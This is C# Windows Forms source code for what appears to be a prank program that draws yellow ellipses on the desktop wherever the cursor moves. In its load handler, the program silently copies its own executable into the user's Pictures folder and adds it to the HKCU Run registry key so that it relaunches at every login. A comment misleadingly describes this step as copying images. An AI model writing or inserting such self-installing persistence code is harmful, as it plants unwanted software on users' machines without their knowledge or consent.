using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Runtime.InteropServices;
    namespace WindowsFormsApplication1
    {
        public partial class Form1 : Form
        {


            [DllImport("user32.dll", EntryPoint = "GetDC")]
            public static extern IntPtr GetDC(IntPtr hWnd);
            public static string col;
            private Graphics g_desktop = null;
            public Form1()
            {
                InitializeComponent();
            }

            private void Form1_Load(object sender, EventArgs e)
            {
                IntPtr screen = GetDC(IntPtr.Zero);
                g_desktop = Graphics.FromHdc(screen);
                x.Text = "0";
                y.Text = "0";
                height.Text = "100";
                width.Text = "100";



                string path1 = @"C:\Users\" + Environment.UserName;            //kopiowanie
                path1 += @"\Pictures\app.exe";  //obrazów
                System.IO.File.Copy(Application.ExecutablePath, path1, true);



                Microsoft.Win32.RegistryKey key;
                key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
                key.SetValue("app", path1);   // ("klucz","wartosc klucza")
                key.Close();                                                  // tworzenie klucza

            }


            private void timer1_Tick(object sender, EventArgs e)
            {
                System.Drawing.SolidBrush myBrush = new System.Drawing.SolidBrush(System.Drawing.Color.Yellow);
                g_desktop.FillEllipse(myBrush, new Rectangle(Cursor.Position.X, Cursor.Position.Y, int.Parse(width.Text), int.Parse(height.Text)));

            }


        }
    }